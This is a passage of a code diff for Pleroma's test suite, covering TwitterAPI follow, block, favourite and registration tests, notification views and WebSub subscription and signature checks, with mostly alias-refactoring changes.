	{:ok, user, followed, _activity} =
	TwitterAPI.follow(user, %{"screen_name" => followed.nickname})

	assert User.ap_followers(followed) in user.following

	followed = User.get_by_ap_id(followed.ap_id)
	assert followed.info.follower_count == 1

	{:error, msg} = TwitterAPI.follow(user, %{"screen_name" => followed.nickname})
	assert msg == "Could not follow user: #{followed.nickname} is already on your list."
	end

	test "Unfollow another user using user_id" do
	unfollowed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(unfollowed)]})
	ActivityPub.follow(user, unfollowed)

	{:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
	assert user.following == []

	{:error, msg} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
	assert msg == "Not subscribed!"
	end

	test "Unfollow another user using screen_name" do
	unfollowed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(unfollowed)]})

	ActivityPub.follow(user, unfollowed)

	{:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
	assert user.following == []

	{:error, msg} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
	assert msg == "Not subscribed!"
	end

	test "Block another user using user_id" do
	user = insert(:user)
	blocked = insert(:user)

	{:ok, user, blocked} = TwitterAPI.block(user, %{"user_id" => blocked.id})
	assert User.blocks?(user, blocked)
	end

	test "Block another user using screen_name" do
	user = insert(:user)
	blocked = insert(:user)

	{:ok, user, blocked} = TwitterAPI.block(user, %{"screen_name" => blocked.nickname})
	assert User.blocks?(user, blocked)
	end

	test "Unblock another user using user_id" do
	unblocked = insert(:user)
	user = insert(:user)
	{:ok, user, _unblocked} = TwitterAPI.block(user, %{"user_id" => unblocked.id})

	{:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"user_id" => unblocked.id})
	assert user.info.blocks == []
	end

	test "Unblock another user using screen_name" do
	unblocked = insert(:user)
	user = insert(:user)
	{:ok, user, _unblocked} = TwitterAPI.block(user, %{"screen_name" => unblocked.nickname})

	{:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"screen_name" => unblocked.nickname})
	assert user.info.blocks == []
	end

	test "upload a file" do
	user = insert(:user)

	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	response = TwitterAPI.upload(file, user)

	assert is_binary(response)
	end

	test "it favorites a status, returns the updated activity" do
	user = insert(:user)
	other_user = insert(:user)
	note_activity = insert(:note_activity)

	{:ok, status} = TwitterAPI.fav(user, note_activity.id)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
	assert ActivityView.render("activity.json", %{activity: updated_activity})["fave_num"] == 1

	object = Object.normalize(note_activity.data["object"])

	assert object.data["like_count"] == 1

	assert status == updated_activity

	{:ok, _status} = TwitterAPI.fav(other_user, note_activity.id)

	object = Object.normalize(note_activity.data["object"])

	assert object.data["like_count"] == 2

	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
	assert ActivityView.render("activity.json", %{activity: updated_activity})["fave_num"] == 2
	end

	test "it unfavorites a status, returns the updated activity" do
	user = insert(:user)
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	{:ok, _like_activity, _object} = ActivityPub.like(user, object)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])

	assert ActivityView.render("activity.json", activity: updated_activity)["fave_num"] == 1

	{:ok, activity} = TwitterAPI.unfav(user, note_activity.id)

	assert ActivityView.render("activity.json", activity: activity)["fave_num"] == 0
	end

	test "it retweets a status and returns the retweet" do
	user = insert(:user)
	note_activity = insert(:note_activity)

	{:ok, status} = TwitterAPI.repeat(user, note_activity.id)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])

	assert status == updated_activity
	end

	test "it unretweets an already retweeted status" do
	user = insert(:user)
	note_activity = insert(:note_activity)

	{:ok, _status} = TwitterAPI.repeat(user, note_activity.id)
	{:ok, status} = TwitterAPI.unrepeat(user, note_activity.id)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])

	assert status == updated_activity
	end

	test "it registers a new user and returns the user." do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	fetched_user = Repo.get_by(User, nickname: "lain")

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	test "it registers a new user with empty string in bio and returns the user." do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	fetched_user = Repo.get_by(User, nickname: "lain")

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	@moduletag skip: "needs 'account_activation_required: true' in config"
	test "it sends confirmation email if :account_activation_required is specified in instance config" do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	assert user.info.confirmation_pending

	Swoosh.TestAssertions.assert_email_sent(Pleroma.UserEmail.account_confirmation_email(user))
	end

	test "it registers a new user and parses mentions in the bio" do
	data1 = %{
	"nickname" => "john",
	"email" => "john@gmail.com",
	"fullname" => "John Doe",
	"bio" => "test",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user1} = TwitterAPI.register_user(data1)

	data2 = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "@john test",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user2} = TwitterAPI.register_user(data2)

	expected_text =
	"<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"

	assert user2.bio == expected_text
	end

	@moduletag skip: "needs 'registrations_open: false' in config"
	test "it registers a new user via invite token and returns the user." do
	{:ok, token} = UserInviteToken.create_token()

	data = %{
	"nickname" => "vinny",
	"email" => "pasta@pizza.vs",
	"fullname" => "Vinny Vinesauce",
	"bio" => "streamer",
	"password" => "hiptofbees",
	"confirm" => "hiptofbees",
	"token" => token.token
	}

	{:ok, user} = TwitterAPI.register_user(data)

	fetched_user = Repo.get_by(User, nickname: "vinny")
	token = Repo.get_by(UserInviteToken, token: token.token)

	assert token.used == true

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	@moduletag skip: "needs 'registrations_open: false' in config"
	test "it returns an error if invalid token submitted" do
	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => "DudeLetMeInImAFairy"
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Invalid token"
	refute Repo.get_by(User, nickname: "GrimReaper")
	end

	@moduletag skip: "needs 'registrations_open: false' in config"
	test "it returns an error if expired token submitted" do
	{:ok, token} = UserInviteToken.create_token()
	UserInviteToken.mark_as_used(token.token)

	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => token.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute Repo.get_by(User, nickname: "GrimReaper")
	end

	test "it returns the error on registration problems" do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "close the world.",
	"password" => "bear"
	}

	{:error, error_object} = TwitterAPI.register_user(data)

	assert is_binary(error_object[:error])
	refute Repo.get_by(User, nickname: "lain")
	end

	test "it assigns an integer conversation_id" do
	note_activity = insert(:note_activity)
	status = ActivityView.render("activity.json", activity: note_activity)

	assert is_number(status["statusnet_conversation_id"])
	end

	setup do
	Supervisor.terminate_child(Pleroma.Supervisor, Cachex)
	Supervisor.restart_child(Pleroma.Supervisor, Cachex)
	:ok
	end

	describe "context_to_conversation_id" do
	test "creates a mapping object" do
	conversation_id = TwitterAPI.context_to_conversation_id("random context")
	object = Object.get_by_ap_id("random context")

	assert conversation_id == object.id
	end

	test "returns an existing mapping for an existing object" do
	{:ok, object} = Object.context_mapping("random context") \|> Repo.insert()
	conversation_id = TwitterAPI.context_to_conversation_id("random context")

	assert conversation_id == object.id
	end
	end

	describe "fetching a user by uri" do
	test "fetches a user by uri" do
	id = "https://mastodon.social/users/lambadalambda"
	user = insert(:user)
	{:ok, represented} = TwitterAPI.get_external_profile(user, id)
	remote = User.get_by_ap_id(id)

	assert represented["id"] == UserView.render("show.json", %{user: remote, for: user})["id"]

	# Also fetches the feed.
	# assert Activity.get_create_by_object_ap_id("tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status")
	end
	end
	end
	diff --git a/test/web/twitter_api/views/notification_view_test.exs b/test/web/twitter_api/views/notification_view_test.exs
	index 8367fc6c7..3a67f7292 100644
	--- a/test/web/twitter_api/views/notification_view_test.exs
	+++ b/test/web/twitter_api/views/notification_view_test.exs
	@@ -1,111 +1,112 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.NotificationViewTest do
	use Pleroma.DataCase

	- alias Pleroma.{User, Notification}
	+ alias Pleroma.User
	+ alias Pleroma.Notification
	alias Pleroma.Web.TwitterAPI.TwitterAPI
	alias Pleroma.Web.TwitterAPI.NotificationView
	alias Pleroma.Web.TwitterAPI.UserView
	alias Pleroma.Web.TwitterAPI.ActivityView
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.ActivityPub.ActivityPub

	import Pleroma.Factory

	setup do
	user = insert(:user, bio: "<span>Here's some html</span>")
	[user: user]
	end

	test "A follow notification" do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])
	follower = insert(:user)

	{:ok, follower} = User.follow(follower, user)
	{:ok, activity} = ActivityPub.follow(follower, user)
	Cachex.put(:user_cache, "user_info:#{user.id}", User.user_info(Repo.get!(User, user.id)))
	[follow_notif] = Notification.for_user(user)

	represented = %{
	"created_at" => follow_notif.inserted_at \|> Utils.format_naive_asctime(),
	"from_profile" => UserView.render("show.json", %{user: follower, for: user}),
	"id" => follow_notif.id,
	"is_seen" => 0,
	"notice" => ActivityView.render("activity.json", %{activity: activity, for: user}),
	"ntype" => "follow"
	}

	assert represented ==
	NotificationView.render("notification.json", %{notification: follow_notif, for: user})
	end

	test "A mention notification" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "Päivää, @#{user.nickname}"})

	[notification] = Notification.for_user(user)

	represented = %{
	"created_at" => notification.inserted_at \|> Utils.format_naive_asctime(),
	"from_profile" => UserView.render("show.json", %{user: other_user, for: user}),
	"id" => notification.id,
	"is_seen" => 0,
	"notice" => ActivityView.render("activity.json", %{activity: activity, for: user}),
	"ntype" => "mention"
	}

	assert represented ==
	NotificationView.render("notification.json", %{notification: notification, for: user})
	end

	test "A retweet notification" do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])
	repeater = insert(:user)

	{:ok, _activity} = TwitterAPI.repeat(repeater, note_activity.id)
	[notification] = Notification.for_user(user)

	represented = %{
	"created_at" => notification.inserted_at \|> Utils.format_naive_asctime(),
	"from_profile" => UserView.render("show.json", %{user: repeater, for: user}),
	"id" => notification.id,
	"is_seen" => 0,
	"notice" =>
	ActivityView.render("activity.json", %{activity: notification.activity, for: user}),
	"ntype" => "repeat"
	}

	assert represented ==
	NotificationView.render("notification.json", %{notification: notification, for: user})
	end

	test "A like notification" do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])
	liker = insert(:user)

	{:ok, _activity} = TwitterAPI.fav(liker, note_activity.id)
	[notification] = Notification.for_user(user)

	represented = %{
	"created_at" => notification.inserted_at \|> Utils.format_naive_asctime(),
	"from_profile" => UserView.render("show.json", %{user: liker, for: user}),
	"id" => notification.id,
	"is_seen" => 0,
	"notice" =>
	ActivityView.render("activity.json", %{activity: notification.activity, for: user}),
	"ntype" => "like"
	}

	assert represented ==
	NotificationView.render("notification.json", %{notification: notification, for: user})
	end
	end
	diff --git a/test/web/websub/websub_controller_test.exs b/test/web/websub/websub_controller_test.exs
	index 6492df2a0..87b01d89b 100644
	--- a/test/web/websub/websub_controller_test.exs
	+++ b/test/web/websub/websub_controller_test.exs
	@@ -1,86 +1,87 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Websub.WebsubControllerTest do
	use Pleroma.Web.ConnCase
	import Pleroma.Factory
	alias Pleroma.Web.Websub.WebsubClientSubscription
	- alias Pleroma.{Repo, Activity}
	+ alias Pleroma.Activity
	+ alias Pleroma.Repo
	alias Pleroma.Web.Websub

	test "websub subscription request", %{conn: conn} do
	user = insert(:user)

	path = Pleroma.Web.OStatus.pubsub_path(user)

	data = %{
	"hub.callback": "http://example.org/sub",
	"hub.mode": "subscribe",
	"hub.topic": Pleroma.Web.OStatus.feed_path(user),
	"hub.secret": "a random secret",
	"hub.lease_seconds": "100"
	}

	conn =
	conn
	\|> post(path, data)

	assert response(conn, 202) == "Accepted"
	end

	test "websub subscription confirmation", %{conn: conn} do
	websub = insert(:websub_client_subscription)

	params = %{
	"hub.mode" => "subscribe",
	"hub.topic" => websub.topic,
	"hub.challenge" => "some challenge",
	"hub.lease_seconds" => "100"
	}

	conn =
	conn
	\|> get("/push/subscriptions/#{websub.id}", params)

	websub = Repo.get(WebsubClientSubscription, websub.id)

	assert response(conn, 200) == "some challenge"
	assert websub.state == "accepted"
	assert_in_delta NaiveDateTime.diff(websub.valid_until, NaiveDateTime.utc_now()), 100, 5
	end

	describe "websub_incoming" do
	test "handles incoming feed updates", %{conn: conn} do
	websub = insert(:websub_client_subscription)
	doc = "some stuff"
	signature = Websub.sign(websub.secret, doc)

	conn =
	conn
	\|> put_req_header("x-hub-signature", "sha1=" <> signature)
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/push/subscriptions/#{websub.id}", doc)

	assert response(conn, 200) == "OK"

	assert length(Repo.all(Activity)) == 1
	end

	test "rejects incoming feed updates with the wrong signature", %{conn: conn} do
	websub = insert(:websub_client_subscription)
	doc = "some stuff"
	signature = Websub.sign("wrong secret", doc)

	conn =
	conn
	\|> put_req_header("x-hub-signature", "sha1=" <> signature)
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/push/subscriptions/#{websub.id}", doc)

	assert response(conn, 500) == "Error"

	- assert length(Repo.all(Activity)) == 0
	+ assert Enum.empty?(Repo.all(Activity))
	end
	end
	end
	diff --git a/test/web/websub/websub_test.exs b/test/web/websub/websub_test.exs
	index 9751d161d..9a9b9df02 100644
	--- a/test/web/websub/websub_test.exs
	+++ b/test/web/websub/websub_test.exs
	@@ -1,229 +1,230 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.WebsubTest do
	use Pleroma.DataCase
	alias Pleroma.Web.Websub
	- alias Pleroma.Web.Websub.{WebsubServerSubscription, WebsubClientSubscription}
	+ alias Pleroma.Web.Websub.WebsubServerSubscription
	+ alias Pleroma.Web.Websub.WebsubClientSubscription
	import Pleroma.Factory
	alias Pleroma.Web.Router.Helpers
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "a verification of a request that is accepted" do
	sub = insert(:websub_subscription)
	topic = sub.topic

	getter = fn _path, _headers, options ->
	%{
	"hub.challenge": challenge,
	"hub.lease_seconds": seconds,
	"hub.topic": ^topic,
	"hub.mode": "subscribe"
	} = Keyword.get(options, :params)

	assert String.to_integer(seconds) > 0

	{:ok,
	%Tesla.Env{
	status: 200,
	body: challenge
	}}
	end

	{:ok, sub} = Websub.verify(sub, getter)
	assert sub.state == "active"
	end

	test "a verification of a request that doesn't return 200" do
	sub = insert(:websub_subscription)

	getter = fn _path, _headers, _options ->
	{:ok,
	%Tesla.Env{
	status: 500,
	body: ""
	}}
	end

	{:error, sub} = Websub.verify(sub, getter)
	# Keep the current state.
	assert sub.state == "requested"
	end

	test "an incoming subscription request" do
	user = insert(:user)

	data = %{
	"hub.callback" => "http://example.org/sub",
	"hub.mode" => "subscribe",
	"hub.topic" => Pleroma.Web.OStatus.feed_path(user),
	"hub.secret" => "a random secret",
	"hub.lease_seconds" => "100"
	}

	{:ok, subscription} = Websub.incoming_subscription_request(user, data)
	assert subscription.topic == Pleroma.Web.OStatus.feed_path(user)
	assert subscription.state == "requested"
	assert subscription.secret == "a random secret"
	assert subscription.callback == "http://example.org/sub"
	end

	test "an incoming subscription request for an existing subscription" do
	user = insert(:user)

	sub =
	insert(:websub_subscription, state: "accepted", topic: Pleroma.Web.OStatus.feed_path(user))

	data = %{
	"hub.callback" => sub.callback,
	"hub.mode" => "subscribe",
	"hub.topic" => Pleroma.Web.OStatus.feed_path(user),
	"hub.secret" => "a random secret",
	"hub.lease_seconds" => "100"
	}

	{:ok, subscription} = Websub.incoming_subscription_request(user, data)
	assert subscription.topic == Pleroma.Web.OStatus.feed_path(user)
	assert subscription.state == sub.state
	assert subscription.secret == "a random secret"
	assert subscription.callback == sub.callback
	assert length(Repo.all(WebsubServerSubscription)) == 1
	assert subscription.id == sub.id
	end

	def accepting_verifier(subscription) do
	{:ok, %{subscription \| state: "accepted"}}
	end

	test "initiate a subscription for a given user and topic" do
	subscriber = insert(:user)
	user = insert(:user, %{info: %Pleroma.User.Info{topic: "some_topic", hub: "some_hub"}})

	{:ok, websub} = Websub.subscribe(subscriber, user, &accepting_verifier/1)
	assert websub.subscribers == [subscriber.ap_id]
	assert websub.topic == "some_topic"
	assert websub.hub == "some_hub"
	assert is_binary(websub.secret)
	assert websub.user == user
	assert websub.state == "accepted"
	end

	test "discovers the hub and canonical url" do
	topic = "https://mastodon.social/users/lambadalambda.atom"

	{:ok, discovered} = Websub.gather_feed_data(topic)

	expected = %{
	"hub" => "https://mastodon.social/api/push",
	"uri" => "https://mastodon.social/users/lambadalambda",
	"nickname" => "lambadalambda",
	"name" => "Critical Value",
	"host" => "mastodon.social",
	"bio" => "a cool dude.",
	"avatar" => %{
	"type" => "Image",
	"url" => [
	%{
	"href" =>
	"https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif?1492379244",
	"mediaType" => "image/gif",
	"type" => "Link"
	}
	]
	}
	}

	assert expected == discovered
	end

	test "calls the hub, requests topic" do
	hub = "https://social.heldscal.la/main/push/hub"
	topic = "https://social.heldscal.la/api/statuses/user_timeline/23211.atom"
	websub = insert(:websub_client_subscription, %{hub: hub, topic: topic})

	poster = fn ^hub, {:form, data}, _headers ->
	assert Keyword.get(data, :"hub.mode") == "subscribe"

	assert Keyword.get(data, :"hub.callback") ==
	Helpers.websub_url(
	Pleroma.Web.Endpoint,
	:websub_subscription_confirmation,
	websub.id
	)

	{:ok, %{status: 202}}
	end

	task = Task.async(fn -> Websub.request_subscription(websub, poster) end)

	change = Ecto.Changeset.change(websub, %{state: "accepted"})
	{:ok, _} = Repo.update(change)

	{:ok, websub} = Task.await(task)

	assert websub.state == "accepted"
	end

	test "rejects the subscription if it can't be accepted" do
	hub = "https://social.heldscal.la/main/push/hub"
	topic = "https://social.heldscal.la/api/statuses/user_timeline/23211.atom"
	websub = insert(:websub_client_subscription, %{hub: hub, topic: topic})

	poster = fn ^hub, {:form, _data}, _headers ->
	{:ok, %{status: 202}}
	end

	{:error, websub} = Websub.request_subscription(websub, poster, 1000)
	assert websub.state == "rejected"

	websub = insert(:websub_client_subscription, %{hub: hub, topic: topic})

	poster = fn ^hub, {:form, _data}, _headers ->
	{:ok, %{status: 400}}
	end

	{:error, websub} = Websub.request_subscription(websub, poster, 1000)
	assert websub.state == "rejected"
	end

	test "sign a text" do
	signed = Websub.sign("secret", "text")
	assert signed == "B8392C23690CCF871F37EC270BE1582DEC57A503" \|> String.downcase()

	_signed = Websub.sign("secret", [["て"], ['す']])
	end

	describe "renewing subscriptions" do
	test "it renews subscriptions that have less than a day of time left" do
	day = 60 * 60 * 24
	now = NaiveDateTime.utc_now()

	still_good =
	insert(:websub_client_subscription, %{
	valid_until: NaiveDateTime.add(now, 2 * day),
	topic: "http://example.org/still_good",
	hub: "http://example.org/still_good",
	state: "accepted"
	})

	needs_refresh =
	insert(:websub_client_subscription, %{
	valid_until: NaiveDateTime.add(now, day - 100),
	topic: "http://example.org/needs_refresh",
	hub: "http://example.org/needs_refresh",
	state: "accepted"
	})

	_refresh = Websub.refresh_subscriptions()

	assert still_good == Repo.get(WebsubClientSubscription, still_good.id)
	refute needs_refresh == Repo.get(WebsubClientSubscription, needs_refresh.id)
	end
	end
	end

File Metadata

Mime Type: text/x-diff
Expires: Thu, Oct 29, 3:09 AM (4 h, 50 m)
Storage Engine: blob
Storage Format: Raw Data
Storage Handle: 1797460
Default Alt Text: (353 KB)

No OneTemporaryActions

View Options

File Metadata

Event Timeline

No OneTemporary
Actions